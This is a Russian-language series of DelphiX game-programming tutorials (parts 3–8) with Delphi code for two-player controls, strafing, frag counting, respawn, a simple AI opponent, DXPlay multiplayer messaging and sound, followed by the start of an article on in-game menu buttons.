1. Добавим второго плеера
2. И научимся делать стрэйфы
Для начала установим новую раскладку в Dxinput. Для этого два раза кликнем по кампоненту Dxinput и преходим в закладку Keybord:
Сразу маленький совет: чтобы на одной кнопке у тебя не было 300 действий для каждой метки, назначай только одну кнопку.
Я выбрал такой вариант для первого игрока:
Up- Num 8
Down - Num 5
Left - Num 4
Right - Num 6
Button1 - Num 0
Button2 - Num 7
Button3 - Num 9
Для второго игрока:
Button4 - T
Button5 -G
Button6 -F
Button7- H
Button8 -E
Button9 -R
Button10 -Y
Посмотрите на клаву и поймёте раскладку. Ну что, приступаем, для начала перед Implementation добавим ещё две переменные, только уже для второго игрока:
var Form1: TForm1; speed,speed2,ang,ang2: integer; implementationТеперь соответственно добавляем 2 игрока и модернизируем первого:
TPlayerone = class(TImageSprite)
private
lngpolet:integer;
oldlngpolet:integer;
protected
procedure DoMove(MoveCount: Integer); override;
//Добавили столкновение
procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
end;
TPlayertwo = class(TImageSprite)
private
lngpolet:integer;
oldlngpolet:integer;
protected
procedure DoMove(MoveCount: Integer); override;
procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
end;
и теперь обрабатываем DoCollision у обоих плееров: procedure TPlayerone.DoCollision(Sprite: TSprite; var Done: Boolean); begin if Sprite is Tplayerfa then dead; end; procedure TPlayertwo.DoCollision(Sprite: TSprite; var Done: Boolean); begin if Sprite is Tplayerfa then dead; end;Процедура DoMove у первого игрока в корне изменяется:
Procedure tPlayerone.DoMove(MoveCount: Integer);
begin
inherited DoMove(MoveCount);
ang:=angle;
x:=x+cos256(Angle)*speed;
y:=y+sin256(Angle)*speed;
if y <= form1.DXDraw1.SurfaceHeight-image.Height then
y := form1.DXDraw1.SurfaceHeight-image.Height;
if x <= form1.DXDraw1.SurfaceWidth -image.Width then
x := form1.DXDraw1.SurfaceWidth -image.Width;
if y >= 0 then
y := 1;
if x >= 0 then
x:=1;
begin
speed:=0;
if isLeft in Form1.DXInput1.States then angle:=angle-5;
if isRight in Form1.DXInput1.States then angle:=angle+5;
if isup in Form1.DXInput1.States then speed:=4;
if isDown in Form1.DXInput1.States then speed:=-4;
if isbutton2 in Form1.DXInput1.States then
begin
x:= x+cos256 (angle+64)*3; // это у нас стрейф
y:= y+sin256 (angle+64)*3; // 3 - на сколько быстро стрейфиться
end;
if isbutton3 in Form1.DXInput1.States then
begin
x:= x+cos256 (angle-64)*3; //тоже стрейф, только в
y:= y+sin256 (angle-64)*3; //другую сторону
end;
if isbutton1 in Form1.DXInput1.States then
begin
if lngpolet-oldlngpolet<=250 then
begin
Inc(lngpolet);
with TPlayerFa.Create(Engine) do
begin
Image := form1.DXImageList1.Items.Find('pul');
X:=self.X+cos256(ang)*50;
Y:=self.y+sin256(ang)*50;
anglefa:=ang;
oldlngpolet := lngpolet;
end;
end;
end;
lngpolet := lngpolet + MoveCount;
end;
Collision;
end;
Аналогично и у второго плеера:
Procedure TPlayertwo.DoMove(MoveCount: Integer);
begin
inherited DoMove(MoveCount);
ang2:=angle;
x:=x+cos256(Angle)*speed2;
y:=y+sin256(Angle)*speed2;
if y <= form1.DXDraw1.SurfaceHeight-image.Height then
y := form1.DXDraw1.SurfaceHeight-image.Height;
if x <= form1.DXDraw1.SurfaceWidth -image.Width then
x := form1.DXDraw1.SurfaceWidth -image.Width;
if y >= 0 then
y := 1;
if x >= 0 then
x:=1;
begin
speed2:=0;
if isbutton6 in Form1.DXInput1.States then angle:=angle-5;
if isbutton7 in Form1.DXInput1.States then angle:=angle+5;
if isbutton4 in Form1.DXInput1.States then speed2:=4;
if isbutton5 in Form1.DXInput1.States then speed2:=-4;
if isbutton9 in Form1.DXInput1.States then
begin
x:= x+cos256 (angle-64)*3;
y:= y+sin256 (angle-64)*3;
end;
if isbutton10 in Form1.DXInput1.States then
begin
x:= x+cos256 (angle+64)*3;
y:= y+sin256 (angle+64)*3;
end;
if isbutton8 in Form1.DXInput1.States then
begin
if lngpolet-oldlngpolet<=250 then
begin
Inc(lngpolet);
with TPlayerFa.Create(Engine) do
begin
Image := form1.DXImageList1.Items.Find('pul');
X:=self.X+cos256(ang2)*50;
Y:=self.y+sin256(ang2)*50;
anglefa:=ang2;
oldlngpolet := lngpolet;
end;
end;
end;
lngpolet := lngpolet + MoveCount;
end;
Collision;
end;
И последнее в FormCreate добавляем, чтобы второй игрок креатился:
procedure TForm1.FormCreate(Sender: TObject);
begin
with TPlayerone.Create(Dxspriteengine1.Engine) do
begin
PixelCheck := True;
Image := form1.dxImageList1.Items.Find('krut');
x:=350;
y:=250;
Width := Image.Width;
Height := Image.Height;
end;
with TPlayertwo.Create(Dxspriteengine1.Engine) do
begin
PixelCheck := True;
Image := form1.dxImageList1.Items.Find('krut');
x:=50;
y:=250;
Width := Image.Width;
Height := Image.Height;
end;
И пару советов, для дебага можно выводить любую переменную на экран. Для этого в DXTimer добавим следующие строчки:
procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer);
begin
if not DXDraw1.CanDraw then exit;
DXInput1.Update;
DXSpriteEngine1.Move(LagCount);
DXSpriteEngine1.Dead;
DXDraw1.Surface.Fill(0);
DXSpriteEngine1.Draw;
with DXDraw1.Surface.Canvas do
begin
Brush.Style := bsClear; //стиль
Font.Color := clWhite; //цвет текста
Font.Size := 12; // размер
Textout(0, 0, 'FPS: '+inttostr(DXTimer1.FrameRate)); //вывод текста
Textout(0, 24, 'спрайты: '+inttostr(DXSpriteEngine1.Engine.AllCount));
Release;
end;
DXDraw1.Flip;
end;
Здесь я вывожу Fps (кадры в секунду), и количество спрайтов на экране.
Д/З:
1. Сделай анимированные патроны.
2. Реализуй, чтобы вторым игроком управлял не человек, а созданный тобой интеллект.
3. Сделай так, чтобы вёлся счёт фрагов.
4. После смерти любого игрока, чтобы через 5 сек. происходил респаун.
Вот архив всего, что мы сегодня натворили: part3.rar(18kB).
Если у вас возникли какие-то вопросы или проблемы, пишите мне.
Автор: Влад Энгельгардт
Изучаем DelphiX - Часть 4 - Разбираем классы.
Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru
"Классы - это хорошо :)".
В этой части, дорогие мои читатели, мы разберем классы. Здесь будет рассказано, как создать грамотный, читаемый, и не тормозной код (на сколько это возможно). Для начала реализуем наше Д/З: 1. Сделай анимированные патроны. Для начала я заменил в DXImageList спрайт "pul" другой картинкой вот такой:
а размер кадра 26X40.
В конструктор патрона нужно вставить анимацию:
constructor TPlayerFa.Create(AParent: TSprite);
begin
inherited Create(AParent);
Image := form1.DXImageList1.Items.Find('pul');
Width := Image.Width;
Height := Image.Height;
AnimCount := Image.PatternCount; // вот эти
AnimLooped := True; // три строчки
AnimSpeed := 10 / 1000; // с которыми вы уже знакомы
end;
Вот и всё с этим вопросом.
2. Реализуй, чтобы вторым игроком управлял не человек, а созданный тобой интеллект.
Я не хочу потом повторяться, об этом ты прочитаешь в 5 части, и она будет посвящена "AI".
3. Сделай так, чтобы вёлся счёт фрагов.
Добавляем перед implementation в Var две переменные:
Fragpl, fragpl2 :integer;
И для отображения наших фрагов вставляем следующие строчки и он изменяется следующим образом:
procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer);
begin
if not DXDraw1.CanDraw then exit;
DXInput1.Update;
DXSpriteEngine1.Move(LagCount);
DXSpriteEngine1.Dead;
DXDraw1.Surface.Fill(0);
DXSpriteEngine1.Draw;
with DXDraw1.Surface.Canvas do
begin
Brush.Style := bsClear;
Font.Color := clWhite;
Font.Size := 12;
//это первого плеера фраги
Textout(30, 35, 'Фраги первого игрока: '+inttostr(fragpl));
//это второго плеера
Textout(240, 35, 'Фраги второго игрока: '+inttostr(fragpl2));
Textout(0, 0, 'FPS: '+inttostr(DXTimer1.FrameRate));
Textout(0, 24, 'Спрайтов: '+inttostr(DXSpriteEngine1.Engine.AllCount));
Release;
end;
DXDraw1.Flip;
end;
И ещё маленький штрих, без которого некуда: procedure TPlayerone.DoCollision(Sprite: TSprite; var Done: Boolean); begin if Sprite is Tplayerfa then dead; fragpl2:=fragpl2+1; end; procedure TPlayertwo.DoCollision(Sprite: TSprite; var Done: Boolean); begin if Sprite is Tplayerfa then dead; fragpl:=fragpl+1; end;4. После смерти любого игрока, чтобы через 5 сек. происходил респаун. Для этого на форму добавляем обыкновенный таймер. Находится он в закладки System, и выглядит также как DXTimer. И устанавливаем свойства следующим образом: Enabled = false Interval = 5000
А в событие OnTimer:
if plres=true then
begin
with TPlayerone.Create(Dxspriteengine1.Engine) do
begin
PixelCheck := True;
Image := form1.dxImageList1.Items.Find('krut');
x:=random(450);
y:=random(450);
Width := Image.Width;
Height := Image.Height;
end;
end;
if plres=false then
begin
with TPlayertwo.Create(Dxspriteengine1.Engine) do
begin
PixelCheck := True;
Image := form1.dxImageList1.Items.Find('krut');
x:=random(450);
y:=random(450);
Width := Image.Width;
Height := Image.Height;
end;
end;
timer1.Enabled := false;
end;
Теперь перед implementation в var добавляем переменную типа boolean: plres:boolean; // переменная респавна true= погиб 1 игрок false 2 игрок.В событие FormCreate добавляем одну единственную команду:
randomize;И финальный штрих, процедуру DoCollision у каждого игрока изменяем следующим образом:
procedure TPlayerone.DoCollision(Sprite: TSprite; var Done: Boolean);
begin
if Sprite is Tplayerfa then
begin
dead;
fragpl2:=fragpl2+1;
plres:=true;
form1.Timer1.enabled:=true;
end;
end;
procedure TPlayertwo.DoCollision(Sprite: TSprite; var Done: Boolean);
begin
if Sprite is Tplayerfa then
begin
dead;
fragpl:=fragpl+1;
plres:=false;
form1.Timer1.enabled:=true;
end;
end;
Вот и всё, что нужно было сделать дома :).
Ну что, приступим, для начала я расскажу о разных способах создания спрайтов: 1. Это наш способ, мы использовали его в этом туториале. При создании формы, создавался объект, т.е. это выглядит так:
procedure Tformmy.FormCreate(Sender: TObject);
begin
with TPlayer.Create(Dxspriteengine1.Engine) do
begin
PixelCheck := True;
Image := dxImageList.Items.Find(skinspl1);
x:=10;
y:=12;
Width := Image.Width;
Height := Image.Height;
end;
end;
Здесь, при создании спрайта, мы определяем его свойства. Значит, обрабатывать конструктор TPlayer нам ненужно. Следующий способ, это способ конструктора. В конструкторе мы заранее задаём свойства будущего спрайта, но Create мы обрабатываем в FormCreate.Вот пример: constructor TPlayerFa.Create(AParent: TSprite); begin inherited Create(AParent); Image := formmy.DXImageList.Items.Find(pus2); Width := Image.Width; Height := Image.Height; AnimCount := Image.PatternCount; AnimLooped := True; AnimSpeed := speedanimpul / 1000; end;Обычно этот способ используют для патронов. И последний способ - это создания типов. Например, мы создали класс:
TPlayer = class(TImageSpriteex)
private
Speed:Single;
public
procedure DoMove(MoveCount: Integer); override;
end;
Теперь перед implementation в var обозначаем наш класс как тип: var Form1: TForm1; Player: TPlayer; ImplementationТеперь в свойствах DxDraw находим событие DXDrawInitialize и вставляем следующее:
Player := TPlayer.Create(DXSpriteEngine1.Engine);
Player.Image := DXImageList.Items.Find('Player');
Player.X := 250;
Player.Y := 250;
Player.Width := Player.Image.Width;
Player.Height := Player.Image.Height;
Удобство использования этого способа в том что, в любой момент можно получить данные о спрайте, например, в одном из уроков, нам приходилось выносить значение angle для патрона. С использованием этого способа, все значения плеера, будут у нас под рукой.
И ещё очень важный момент, создавайте свои функции и процедуры, это очень удобно.
Теперь насчёт Collision:
Во-первых, если объект с чем-то взаимодействует, то не забываете в DoMove вставлять:
Collision;
Во-вторых, там где нужен точный Collision используйте "Рiхе1Сhеск:=true"; там где точность при столкновении не нужна "PixelCheck := False;" , или вообще ничего не писать.
Angle: это процедура очень удобная, но есть одно большое НО, она не подходит для разворота очень больших объектов. Происходит очень большое количество вычислений, и игра начинает зверски тормозить или точнее уменьшается число Fps.
Анимация в DelphiX капризная вещь, иногда не дружит с PixelCheck, иногда с Collision, но это бывает очень редко. В анимации, как и в статичном спрайте, главное правильно указывать Transparent Color, хотя DelphiX пытается определить его сам (и у него иногда это хорошо получается), следует смотреть какой цвет он выбрал.
Размер кадра вычитывается ручками (если ты рисовал сам), если ты создавал анимацию в каком-то редакторе, то ты должен знать размер кадра т.к. ты его сам указывал.
С DXInput бывает всего одна проблема это смешивание кнопок, т.е. на одной кнопке находиться несколько действий.
Ну, вот думаю и всё что я могу тебе посоветовать по этому поводу.
Спросишь ты, а причём тут "Разбираем классы", некоторое написанное выше заставляет наши спрайты меньше тормозить, а разбираем мы их потому, что решаем что хорошо, а что плохо.
Есть вопросы, пиши мне.
Скачать файл с ответами на Д/З можно здесь: part4.rar.
Автор: Влад Энгельгардт
Изучаем DelphiX - Часть 5 - AI.
Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru
"Все люди - всего на всего сложный AI".
Здравствуйте! Сегодня я реализую у вас на глазах, простенький Ai который будет стрелять по вам, и двигаться к вам. Бороться с ним будет "очень просто" (клавиатуру не поломайте), не смотря на его простенькое строение. В виде шаблона я возьму пример из части 4. Начнём делать всё постепенно, нам ведь некуда тропится, правильно? Для начала в Uses добавим модуль math. В этом модуле находятся процедуры с математикой.Далее добавляем перед implementation в var:
plres:boolean; // plres - респаун: true - погиб 1 игрок, false - 2 игрок fa:boolean; //Выстрел нашего Ai true - стрелял, false - нет Player:TPlayerone; Playerai:TPlayertwo;Процедура Domove изменяется у нашего Ai:
Procedure TPlayertwo.DoMove(MoveCount: Integer);
begin
inherited DoMove(MoveCount);
ang2:=angle;
if y <= form1.DXDraw1.SurfaceHeight-image.Height then
y := form1.DXDraw1.SurfaceHeight-image.Height;
if x <= form1.DXDraw1.SurfaceWidth -image.Width then
x := form1.DXDraw1.SurfaceWidth -image.Width;
if y >= 0 then
y := 1;
if x >= 0 then
x:=1;
begin
if fa=true then
begin
if lngpolet-oldlngpolet<=250 then
begin
Inc(lngpolet);
with TPlayerFa.Create(Engine) do
begin
Image := form1.DXImageList1.Items.Find('pul');
X:=self.X+cos256(ang2)*55;
Y:=self.y+sin256(ang2)*55;
anglefa:=ang2;
oldlngpolet := lngpolet;
end;
fa:=false;
end;
end;
lngpolet := lngpolet + MoveCount;
end;
Collision;
end;
Теперь идём в FormCreate и удаляем там всё кроме procedure TForm1.FormCreate(Sender: TObject); begin randomize; end;Кликаем на DxDraw и в свойствах ищем: "OnInitialize" создаём событие, и вставляем:
Playerai:= TPlayertwo.Create(DXSpriteEngine1.Engine);
Playerai.Image := DXImageList1.Items.Find('krut');
Playerai.X := 50;
Playerai.Y := 250;
Playerai.Width := Playerai.Image.Width;
Playerai.Height := Playerai.Image.Height;
Player:= TPlayerone.Create(DXSpriteEngine1.Engine);
Player.Image := form1.dxImageList1.Items.Find('krut');
Player.x:=350;
Player.y:=250;
Player.Width := Player.Image.Width;
Player.Height := Player.Image.Height;
Теперь кидаем на форму простой таймер (я назвал его Ai). Параметры такие: Enabled = true Interval = 1 Name = AiСоздаём событие OnTime и пишем следующее:
playerai.angle:=trunc(1/sin256(trunc((player.y-playerai.y)/(player.x-playerai.x))));
If (player.y-playerai.y > 0)and(player.x-playerai.x < 0) then
playerai.angle:=playerai.angle+192;
If (player.y-playerai.y > 0)and(player.x-playerai.x > 0) then
playerai.angle:=playerai.angle+128;
If (player.y-playerai.y < 0)and(player.x-playerai.x > 0) then
playerai.angle:=playerai.angle+64;
if player.x >= playerai.x then
playerai.x:=playerai.x-2.5;
if player.x < playerai.x then
playerai.x:=playerai.x+2.5;
if player.y >= playerai.y then
playerai.y:=playerai.y-2.5;
if player.y < playerai.y then
playerai.y:=playerai.y+2.5;
if playerai.x <= player.x-140 then
begin
playerai.x:=playerai.x-2.5;
end;
if playerai.y<= player.y-140 then
begin
playerai.y:=playerai.y-2.5;
end;
if playerai.y <=player.y-150 then
begin
if playerai.x <=player.x-150 then
begin
fa:=true;
end;
end;
Вот и всё, мы реализовали примитивный, и простенький Ai, ни капли не реалистичный, зато очень точный. Есть маленький совет: атакуйте издалека.
Ну а теперь Д/З:
1. Осуществите более реалистичный разворот к игроку
2. Реализуйте ошибки Ai (т.е. неточное попадание и т.д.)
3. Чтобы AI не стрелял постоянно в одну и туже точку после гибели игрока
4. И вообще, придумайте что-то своё
На это Д/З я не буду писать решение в следующей части. Реализуйте это, и отправьте мне на e-mail, и если всё будет хорошо, ты получишь предложение, от которого нельзя отказаться. Жду!!
Всё, что мы на кодили, здесь: part5.rar.
Автор: Влад Энгельгардт
Изучаем DelphiX - Часть 6 - Мультиплеер.
Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru
"SINGLE-хорошо, а MULTIPLAYER - лучше".
Здравствуйте дорогие мои читатели. Сегодня мы будем говорить о мультиплеере. Точнее об его создании в DelphiX. В DelphiX это реализуется с помощью компонента:
DXPlay. Многие, кто пытался что-то сделать на DXPlay, сталкивался с такой проблемой: что если вызывать диалог с DXPlay то получаем непонятный текст:
Устранить ее очень легко. Дело в том, что из-за "НЕРУССКОГО" происхождения программист Hiroyuki Hori в DXPlayFm.dfm в некоторых местах поставил шрифт: "Terminal", а нам нужен "MS Sans Serif". Поэтому то и всё так исковеркано. Я исправил эту проблему вот так:
И выкладываю исправленный мною модуль DXPlayFm.dfm, и более того, он русифицирован. Так что пользуйтесь на здоровье :) DXPlayFm.rar.
Сегодня мы напишем простенькую, мультиплеерную гаму. В этом я помогу вам.
В качестве шаблона я буду использовать part2.rar. Мы его модернизируем, и предадим ему мультиплеерность. Сразу говорю, что part2.rar состоял из 2 интерактивных объектов, соответственно и в наш мультиплеер можно играть только вдвоем.
Теперь я расскажу, как нужно модернизировать пример из второй части под шестой :).
На мой взгляд, эта часть является единственно растолковывающая создание мультиплеера под DelphiX. Сколько я прочитал статей по программированию мультиплеера на DelphiX, ничего путного не увидел. Здесь я использую простой алгоритм. Принцип его следующий: передаются не координаты объекта, а клавиши, которые были нажаты на удалённой машине.
Кидаем на форму компонент DXPlay и устанавливаем вот такие свойства:
MaxPlayers = 2,
GUID = {218A0D84-949C-42BC-A97B-40C3E3A642F1}.
GUID можно создать любой достаточно нажать на кнопку New.
Добавляем в uses модуль: DirectX.
После uses создаём список констант:
const DXACTION_MESSAGE = 1; // Это нажата клавиша действия DXKEY_LEFT = 1; // двигаемся влево DXKEY_RIGHT = 2; // двигаемся вправо DXKEY_SHOOT = 3; // СтреляемСоздаём новый тип для наших ACTION сообщений:
type
TDXActionMessage = record
dwType: DWORD;
ActionCode: Integer;
end;
Далее идут классы спрайтов:
Единственное, что поменялось это класс TBOSS, я его переименовал в TPLU.
Когда мы поменяли названия то и картинку нужно изменить на более подходящую.
Заходим в DXImageList и переименовываем спрайт Boss на Plu .
А вот картинка:
В Var перед implementation обозначаем два наших класса: var Form1: TForm1; plu:Tplu; PlayerSprite:TPlayerSprite; implementationТеперь подходим к процедуре TPlayerSprite.DoMove. Она должна выглядеть вот так:
Procedure TPlayerSprite.DoMove(MoveCount: Integer);
var
Msg: ^TDXActionMessage; //Само сообщение
msgSize: Integer; //размер сообщения
begin
inherited DoMove(MoveCount);
if form1.DXPlay1.Players.Count =2 then // пока в игру не зайдёт второй игрок
// ни кто, не двинется
begin
if isLeft in Form1.DXInput1.States then
begin
x:=x-5;
msgSize := SizeOf( TDXActionMessage );
GetMem(Msg, MsgSize);
msg.dwType := DXACTION_MESSAGE; //тип сообщения
msg.ActionCode := DXKEY_LEFT; //действие
form1.DXPlay1.SendMessage(DPID_ALLPLAYERS,msg,msgsize); //отсылаем всем
end;
if isRight in Form1.DXInput1.States then
begin
X:=x+5;
msgSize := SizeOf( TDXActionMessage );
GetMem(Msg, MsgSize);
msg.dwType := DXACTION_MESSAGE;
msg.ActionCode := DXKEY_RIGHT;
form1.DXPlay1.SendMessage(DPID_ALLPLAYERS,msg,msgsize);
end;
if isup in Form1.DXInput1.States then
begin
if lngpolet-oldlngpolet<=900 then
begin
Inc(lngpolet);
with TPlayerFa.Create(Engine) do
begin
msgSize := SizeOf( TDXActionMessage );
GetMem(Msg, MsgSize);
msg.dwType := DXACTION_MESSAGE;
msg.ActionCode := DXKEY_SHOOT;
form1.DXPlay1.SendMessage(DPID_ALLPLAYERS,msg,msgsize);
PixelCheck := True;
Image := form1.dxImageList1.Items.Find('Pula');
X := Self.X+Self.Width -40;
Y := Self.Y+Self.Height -80 ;
Width := Image.Width;
Height := Image.Height;
stril:=-4;
end;
oldlngpolet := lngpolet;
end;
end;
if y <= form1.DXDraw1.SurfaceHeight-image.Height then
y := form1.DXDraw1.SurfaceHeight-image.Height;
if x <= form1.DXDraw1.SurfaceWidth -image.Width then
x := form1.DXDraw1.SurfaceWidth -image.Width;
if y >= 0 then
y := 1;
if x >= 0 then
x:=1;
lngpolet := lngpolet + MoveCount;
Collision;
end;
end;
Теперь, как вы понимаете, так как TBoss уже не существует, то и некоторые процедуры должны быть пусты:
Procedure TPLU.DoMove(MoveCount: Integer);
begin
inherited DoMove(MoveCount);
Collision;
end;
constructor TPLU.Create(AParent: TSprite);
begin
inherited Create(AParent);
end;
Далее очищаем событие для формы OnCreate и пишем в нём:
procedure TForm1.FormCreate(Sender: TObject);
begin
try
DXPlay1.Open;
Except
On E: Exception do
begin
Application.ShowMainForm := False;
Application.HandleException(E);
Application.Terminate;
end;
end;
With TBackgroundSprite.Create(DXSpriteEngine1.Engine) do
begin
SetMapSize(1,1);
Image := dxImageList1.Items.Find('bg');
Z:= -2;
Tile := True;
end;
end;
Далее кликаем по компоненту DXPlay создаём событие: OnMessage И пишем следующее:
procedure TForm1.DXPlay1Message(Sender: TObject; From: TDXPlayPlayer;
Data: Pointer; DataSize: Integer);
begin
if TDXActionMessage( Data^ ).actioncode AND DXKEY_LEFT = DXKEY_LEFT then
plu.X:=plu.X -5; // получаем сообщение влево, двигаем удалённого
//р1ауега в лево
if TDXActionMessage( Data^ ).actioncode AND DXKEY_RIGHT = DXKEY_RIGHT then
plu.X:=plu.X +5; // получаем сообщение вправо, двигаем удалённого
//р1ауега в право
if TDXActionMessage( Data^ ).actioncode AND DXKEY_SHOOT = DXKEY_SHOOT then
begin // получаем сообщение - удалённый игрок выстрелил,
// создаём патрон на месте PLU
with TPlayerFa.Create(dxspriteengine1.Engine) do
begin
PixelCheck := True;
Image := form1.dxImageList1.Items.Find('Pula');
X := plu.X+plu.Width-70;
Y := plu.Y+plu.Height+10;
Width := Image.Width;
Height := Image.Height;
stril:=4;
Collision;
end;
end;
end;
Далее кликаем по DXDraw создаём событие Initialize и в нем пишем:
plu:= Tplu.Create(DXSpriteEngine1.Engine);
plu.PixelCheck := True;
plu.Image := form1.dxImageList1.Items.Find('plu');
plu.x:=350;
plu.y:=10;
plu.Width := plu.Image.Width;
plu.Height := plu.Image.Height;
PlayerSprite:= TPlayerSprite.Create(DXSpriteEngine1.Engine);
PlayerSprite.PixelCheck := True;
PlayerSprite.Image := form1.dxImageList1.Items.Find('Pla');
PlayerSprite.x:=350;
PlayerSprite.y:=500;
PlayerSprite.Width := PlayerSprite.Image.Width;
PlayerSprite.Height := PlayerSprite.Image.Height;
Вот, и всё запускаем, и радуемся.
А теперь я расскажу, как это всё работает.
Прежде чем начать писать мультиплеер, нужно осознавать, что тебе придётся думать за каждую из удалённых машин. Как она получит пакет, кому что нужно будет отправить и так далее. Так вот, в событии Message в DXPlay1 обрабатываются всё принятые сообщения, а отсылать их можно любым плеером из любого места в коде. Так вот когда один из игроков запускает игру, а другой присоединяется к нему, происходит такая картина:
В нашем примере все действия, которые происходят на другой машине, отражается на спрайте Plu.
Скачать всё, что мы творили можно вот здесь: part6.rar.
P.S Назвал я класс PLU потому что, так проще, расшифровывается как плеер удаленный.
P.S.S Я устал уже отвечать на такие письма типа: "У меня не распаковывается архив?" так вот, говорю, всё архивы запакованы WinRAR 3.0.
Автор: Влад Энгельгардт
Изучаем DelphiX - Часть 7 - Звуки и музыка.
Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru
"Звуки и музыка создают атмосферу в игре".
Здравствуйте дорогие мои читатели, сегодня мы займёмся воспроизведением звуков и музыки в игре. Займёмся в начале звуками. В этом уроке рассмотрим два способа воспроизведения звука. За основу я решил взять седьмую часть. Теперь рассмотрим компоненты, с помощью которых мы будем осуществлять воспроизведение музыки.
DXSound - в общем через него звук и будет воспроизводится.
DXWave - необходим для хранения, и воспроизведения одного звука.
DXWaveList -В нём можно хранить, и воспроизводить звуки через DXSound.
Внимание, напомню, что звуки можно загружать в игру только в формате Wav или Dxw.
Ну, так что, приступим. Для начала кидаем компонент DxSound на форму. Затем кидаем DXWaveList и в закладке Properties напротив DXSound выбираем наш саунд :). Теперь давайте загрузим наш первый звук. Это будет естественно выстрел. Он будет у нас вот таким: fa.zip. Теперь щёлкаем по нашему компоненту DxWaveList, и находим Items с удовольствием нажимаем, и далее всё также, как мы работали с ImageList. Добавим звук и назовем его Fa. Теперь по идеи стреляют у нас оба класса и игрок и плеер, так что добавляем это в процедуры DoMove. При событии создания патрона. Так должно выглядеть для каждого класса.
Для Playerone:
if isbutton1 in Form1.DXInput1.States then
begin
if lngpolet-oldlngpolet<=250 then
begin
Inc(lngpolet);
with TPlayerFa.Create(Engine) do
begin
form1.DXWaveList1.Items.Find('fa').Play(true);
Image := form1.DXImageList1.Items.Find('pul');
X:=self.X+cos256(ang)*55;
Y:=self.y+sin256(ang)*55;
anglefa:=ang;
oldlngpolet := lngpolet;
end;
end;
end;
Для Playertwo:
if fa=true then
begin
if lngpolet-oldlngpolet<=250 then
begin
Inc(lngpolet);
with TPlayerFa.Create(Engine) do
begin
form1.DXWaveList1.Items.Find('fa').Play(true);
Image := form1.DXImageList1.Items.Find('pul');
X:=self.X+cos256(ang2)*55;
Y:=self.y+sin256(ang2)*55;
anglefa:=ang2;
oldlngpolet := lngpolet;
end;
fa:=false;
end;
end;
Следующий пример со стереоэффектом. Этот пример будет способен различать в какой стороне находится патрон и "снижать громкость" в противоположном динамике.
Let's GO!! :)
Перед implementation в Var добавляем две переменные:
pulxpl,CurrentPanpl:integer;
Первая - это X патрона, вторая это высота звука и место расположения.
Теперь в процедуру TPlayerFa.DoMove добавляем некоторые строчки, и она становится вот такой:
procedure TPlayerFa.DoMove(MoveCount: Integer);
begin
inherited DoMove(MoveCount);
angle := anglefa;
x:=x+cos256(angle)*8;
y:=y+sin256(angle)*8;
pulxpl := trunc(x); //передаём переменной значение Х патрона
CurrentPanpl := -20000 * pulxpl div form1.DXDraw1.ClientWidth + 10000; // И так всё //понятно
form1.dxwavelist1.Items.Find('fa').pan := CurrentPanpl; //Присваиваем значение звуку
if X<= 800 then Dead;
if y<= 600 then Dead;
if X>= 0 then Dead;
if y>= 0 then Dead;
Collision;
end;
Конечно, это самый примитивный способ, и требует доработки, но всё же годен для использования, например, в аркадах. Что касается музыки, то для мелких проектов использовать Midi или Mod, а в более серьёзных, где качество звука должно быть на высоте, надо использовать более качественные форматы, или библиотеки. А так, для воспроизведения музыки в игре можно пользоваться и MediaPlayer (стандартным компонентом для воспроизведения музыки). Я добавил музыку в последний пример с помощью MediaPlayer. Совет для всех: чтобы музыка корректно воспроизводилась у всех, переписываете её в папку с игрой, и в MediaPlayer указывайте не полный путь, а только название файла. И ещё совет, MediaPlayer1.Play; вставляёте в самом конце DXDraw Initialize иначе может случиться, что игра ещё не загрузилась, а музыка будет играть.
Вот и всё. Скачать можно первый пример, второй пример.
И ещё, пишите о том, что хотите прочитать, это мне очень важно по вашим письмам я строю план следующей части. Нет писем нет частей :(.
Автор: Влад Энгельгардт
Изучаем DelphiX - Часть 8 - The End.
Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru
Здравствуйте Дорогие мои читатели. Я очень благодарен, что вы проявляете интерес к моим статьям и, тем более что вы получаете пользу от них. Если вы только начали увлекаться Game Development`ом, то советую начать именно с DelphiX. Возможно, это будет последняя часть моего туториала. Эта часть не статья, а специальная демонстрационная версия, показывающая некоторые возможности DelphiX. Это полноценная игра, предназначенная для демонстрации некоторых возможностей DelphiX. Скачать исходник (part8.rar). Скачать exe игры (part8_game.rar). Автор: Влад ЭнгельгардтСоздание Главного Меню в Игре - Часть 1 - Кнопки и ЧекБоксы.
Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru
Начинать делать игру надо именно с главного меню! К такому выводу я пришел тогда, когда начил вставлять меню в "Наш Крафт" (ныне "В ОСАДЕ"), это было жутко неудобно так как пришлось перестраивать структуры игры! Итак, злобный Spose выкладывает intf.zip содержащий описание компонентов(кнопок, листбоксов, чекбоксов, эдитов и тэдэ) для DelphiX. Рассматривать мы их будем в порядке надобности и по мере улучшения Intf (сейчас дорабатывается), на эту тему будут четыре статьи! Этапы использования компонентов в игре: 1.Создание и задание параметров 2.Отрисовка и обработка влияния курсора на них 3.Очистка памяти от компонентов которые уже не нужны. Cначала нужно подключить Intf к игре так:Uses ..............., intf; //Подключаем Inf к программе ......................................................................... procedure TForm1.FormCreate(Sender: TObject); begin fsurface:=dxdraw.surface; //Это необходимо ......................... end; ......................................................................... procedure TForm1.DXTimerTimer(Sender: TObject; LagCount: Integer); begin if not dxdraw.CanDraw then exit; fsurface:=dxdraw.Surface; //Это необходимо .......................... end;Теперь включив intf в свою программу, можно и компоненты посоздавать. Компоненты создаются просто:
Btn := TDxImageButton.create; //Где Btn - имя кнопки, заданное зарание в поле VAR (у формы) Cb := TDxImageCheckBox.create; //Где Cb - имя ЧекБокса, заданное зарание в поле VAR (у формы)Компоненты создаются просто: Вот такие параметры нужно регулировать у кнопок:
x:=288;//Координаты по X
y:=350;//Координаты по Y
image:=il.Items.Find('btn');//Изображение (обязательно нужно чтобы в одной картинке было 2 изображения - ненажатой и нанажатой)
width:=image.Width;//Это просто надо
height:=image.Height;//Тоже надо
caption:='ВЫхОд ТиПА !';//Заголовок ТиПА
